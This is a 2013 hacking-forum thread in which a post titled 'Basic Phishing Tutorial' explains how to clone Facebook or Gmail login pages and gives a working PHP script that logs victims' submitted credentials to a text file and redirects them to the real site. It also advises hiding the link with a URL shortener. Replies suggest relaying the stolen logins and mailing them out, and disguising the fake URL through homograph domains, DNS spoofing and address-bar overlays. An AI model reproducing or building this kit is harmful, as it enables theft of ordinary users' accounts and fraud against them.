Author Topic: Basic Phishing Tutorial  (Read 38634 times)

0 Members and 1 Guest are viewing this topic.

Offline Pak_Track

  • Royal Highness
  • ****
  • Posts: 762
  • Cookies: 69
  • Paratrooper
    • View Profile
    • My Home
Basic Phishing Tutorial
« on: May 11, 2013, 10:37:58 am »
Well, there are a lot of tutorials on this subject on the internet, but I felt that EvilZone should have one too. I will not be responsible for any damage caused by anyone who misuses this tutorial.

What is a Phishing page?

The first thing we ask ourselves is, "What the hell is a phishing page?" Well, a phishing page is an exact copy of a webpage. It is used to trick someone into giving you their login details. Come to think of it, it's pretty easy to make and I know that many of  our fellow EvilZoners know how to make it.

Making the phishing page

The first thing you will need for the page is, a page. Just go to the site you want to copy, right-click the mouse and press "Save Page As..." Make a new folder in your computer and save the page in it with the name,"index.htm"
NOTE: The page must have a place where the target can enter login details, eg. the homepage of Facebook.
Now you will have to edit the index.htm file. Open it in a text editor, supposedly, notepad. Press, CTRL+F. Look for the keyword, "action."
For example, if you want to make a phishing page for Facebook, you'll get something like this:
Code: [Select]
action="https://www.facebook.com/login.php?login_attempt=1" method="post"and if you're making one for Gmail, you'll get this:
Code: [Select]
action="https://accounts.google.com/ServiceLoginAuth" method="post"What you have to do is simple. Change the part of the line that contains the URL to "login.php" For example, "https://www.facebook.com/login.php?login_attempt=1" will become "login.php" Next, Change the segment, "method=post" to "method=get"
The Segment should not look like this:
Code: [Select]
action="login.php" method="get"Now, for the "login.php" file.
Just copy and paste this code into a notepad file and save it as "login.php" without the "s
Code: (php) [Select]
<?php
header
("Location: http://www.site.com");
$handle fopen("passes.txt""a");
foreach(
$_GET as $variable => $value)
{
fwrite($handle$variable);
fwrite($handle"=");
fwrite($handle$value);
fwrite($handle"\r\n");
}
fwrite($handle"\r\n");
fclose($handle);
exit;
?>


NOTE: Change the link in the second line of the PHP script to the original URL of the site you want to copy.
Code: [Select]
header("Location: http://www.site.com");
Then, create a notepad file and name it to "passes"
I hope you have saved all of these files in a single folder.
Your phishing page is ready for upload.

Putting it online

You now have all the data required for the phishing page. Now you must host it on the internet. You can use any web hosting site. I prefer 5gbfree.com. Upload all of these files to your site. When you will open the link, you will get a ditto copy of the site you wanted to use!

That's not all...

The most important part of making a Phishing page is choosing your victims closely and persuading them into using the page. Remember to use tinyurl.com to shorten and hide the link before sending it your victim too. You must be a good Social Engineer in order for this to work.
I hope you guys liked this! :D                                                                 
« Last Edit: May 30, 2013, 08:34:15 am by Pak_Track »

'Life is but a series of conflicts between the easy way and the right way.'
The more you know, the more you'll realize you know nothing. -Snayler
The problem with being a smart motherfucker is that sometimes the stupid motherfuckers think you're a crazy motherfucker.
dont u hate it when you offer help and the other person says yes -Pakalu Papito

Offline parad0x

  • VIP
  • Royal Highness
  • *
  • Posts: 638
  • Cookies: 118
    • View Profile
Re: Basic Phishing Tutorial
« Reply #1 on: May 11, 2013, 02:58:40 pm »
Pak_Track: Here

Offline Rav3n

  • Serf
  • *
  • Posts: 30
  • Cookies: 5
    • View Profile
Re: Basic Phishing Tutorial
« Reply #2 on: May 11, 2013, 03:12:51 pm »
ok, since this topic is here, i always have a question about it.

I made a page like this before ( 4 testing ) and was wondering how to change the PHP code to make it take the users input and pass it to the real website to log in and redirect the user after that to the website  "after logging in" ?

I think we will need to make him has a cookies with that credential, but how ?

That will make him a lot less suspicious after the redirection .

Offline Pak_Track

  • Royal Highness
  • ****
  • Posts: 762
  • Cookies: 69
  • Paratrooper
    • View Profile
    • My Home
Re: Basic Phishing Tutorial
« Reply #3 on: May 11, 2013, 04:15:23 pm »
Pak_Track: Here
*Pak_Track slaps himself for not using the search button.

@Raw3n: I believe that can be made possible if we edit the PHP file. What we can make it do is to send the login details to our database, as well as sending them to facebook, or redirecting them to it.
« Last Edit: May 11, 2013, 04:17:37 pm by Pak_Track »

'Life is but a series of conflicts between the easy way and the right way.'
The more you know, the more you'll realize you know nothing. -Snayler
The problem with being a smart motherfucker is that sometimes the stupid motherfuckers think you're a crazy motherfucker.
dont u hate it when you offer help and the other person says yes -Pakalu Papito

Offline Rav3n

  • Serf
  • *
  • Posts: 30
  • Cookies: 5
    • View Profile
Re: Basic Phishing Tutorial
« Reply #4 on: May 11, 2013, 04:45:08 pm »
I thought so :)
I will try that after finishing a php tutorial.
thanks
« Last Edit: May 11, 2013, 04:45:46 pm by Rav3n »

Offline Altiarius

  • NULL
  • Posts: 4
  • Cookies: 0
  • Hey guys :) look on the bright side of life...
    • View Profile
Re: Basic Phishing Tutorial
« Reply #5 on: June 03, 2013, 11:22:21 pm »
I thought so :)
I will try that after finishing a php tutorial.
thanks
I you find a way to do that please let us know :D  (I'd try work on it myself but exam week at school)

Offline scuarplex

  • /dev/null
  • *
  • Posts: 9
  • Cookies: 1
    • View Profile
Re: Basic Phishing Tutorial
« Reply #6 on: June 05, 2013, 10:08:23 pm »
ok, since this topic is here, i always have a question about it.

I made a page like this before ( 4 testing ) and was wondering how to change the PHP code to make it take the users input and pass it to the real website to log in and redirect the user after that to the website  "after logging in" ?

I think we will need to make him has a cookies with that credential, but how ?

That will make him a lot less suspicious after the redirection .



Curl can make that for you: http://php.net/manual/en/book.curl.php


  • Check how Facebook do the login POST request
  • Config a POST with the $user and $pass vars
  • A cookiejar could be used to store the generated cookie
  • Use mail function to send the login to an account of your choice
Not sure about the cookiejar but CURL will make your life easier to make request either using regular HTTP or HTTPS
 
« Last Edit: June 05, 2013, 10:08:58 pm by scuarplex »

Offline Cavidos

  • NULL
  • Posts: 1
  • Cookies: -3
    • View Profile
Re: Basic Phishing Tutorial
« Reply #7 on: July 23, 2013, 10:15:01 pm »
Is there any way of changing URL on address bar to real one because everyone can realise that this page is not real and was made for phishing?

Offline Fur

  • Knight
  • **
  • Posts: 216
  • Cookies: 34
    • View Profile
Re: Basic Phishing Tutorial
« Reply #8 on: July 23, 2013, 10:52:50 pm »
Is there any way of changing URL on address bar to real one because everyone can realise that this page is not real and was made for phishing?
Not that I know of without using client-side malware (which would make phishing pointless). Remember, competent developers actually take security into consideration.

Offline vezzy

  • Royal Highness
  • ****
  • Posts: 771
  • Cookies: 172
    • View Profile
Re: Basic Phishing Tutorial
« Reply #9 on: July 23, 2013, 10:54:42 pm »
If you're really that dedicated to phishing, you'd register a false domain utilizing an IDN homograph attack or something of the sort.
Quote from: Dippy hippy
Just brushing though. I will be semi active mainly came to find a HQ botnet, like THOR or just any p2p botnet

Offline proxx

  • Avatarception
  • Global Moderator
  • Titan
  • *
  • Posts: 2803
  • Cookies: 256
  • ФФФ
    • View Profile
Re: Basic Phishing Tutorial
« Reply #10 on: July 23, 2013, 10:57:33 pm »
Is there any way of changing URL on address bar to real one because everyone can realise that this page is not real and was made for phishing?

I dont really feel like helping a  single post poster that is likely not to come back nor took the effort to introduce himself.
Nevertheless you should read about DNS spoofing and youll soon understand how the game works.
« Last Edit: July 24, 2013, 04:17:52 pm by proxx »
Wtf where you thinking with that signature? - Phage.
This was another little experiment *evillaughter - Proxx.
Evilception... - Phage

Offline AnarchyAngel

  • Peasant
  • *
  • Posts: 50
  • Cookies: 1
  • mmmm beer
    • View Profile
Re: Basic Phishing Tutorial
« Reply #11 on: July 25, 2013, 04:36:59 pm »
url obfuscation is one way, tab nabbing, use js to attempt to put images over the real address bar "this is a old attack and may not work on all browsers". make your own address bar and put it at the of the page. might sound stupid but if someone is in a hurry they might not notice its fake. and there is other shits you can do that may work.
https://dc414.org - MKE area DEFCON group

Offline coolbuddy_459

  • NULL
  • Posts: 1
  • Cookies: 0
    • View Profile
    • sploitswiki
Re: Basic Phishing Tutorial
« Reply #12 on: August 18, 2013, 07:42:12 am »
Nice post.Its working for me.

Offline lortek2

  • NULL
  • Posts: 3
  • Cookies: -4
    • View Profile
Re: Basic Phishing Tutorial
« Reply #13 on: October 04, 2013, 02:24:09 am »
i got it up to the uploading part, but no link was shown or given. a few pointers will be appreciated.

Offline lucid

  • #Underground
  • Titan
  • **
  • Posts: 2683
  • Cookies: 243
  • psychonaut
    • View Profile
Re: Basic Phishing Tutorial
« Reply #14 on: October 04, 2013, 05:46:37 am »
a few pointers will be appreciated.

I'm sure they would be.

I think you should try what this guy did: Link

That should work out for you.
« Last Edit: October 04, 2013, 05:50:08 am by lucid »
"Hacking is at least as much about ideas as about computers and technology. We use our skills to open doors that should never have been shut. We open these doors not only for our own benefit but for the benefit of others, too." - Brian the Hacker

Quote
15:04  @Phage : I'm bored of Python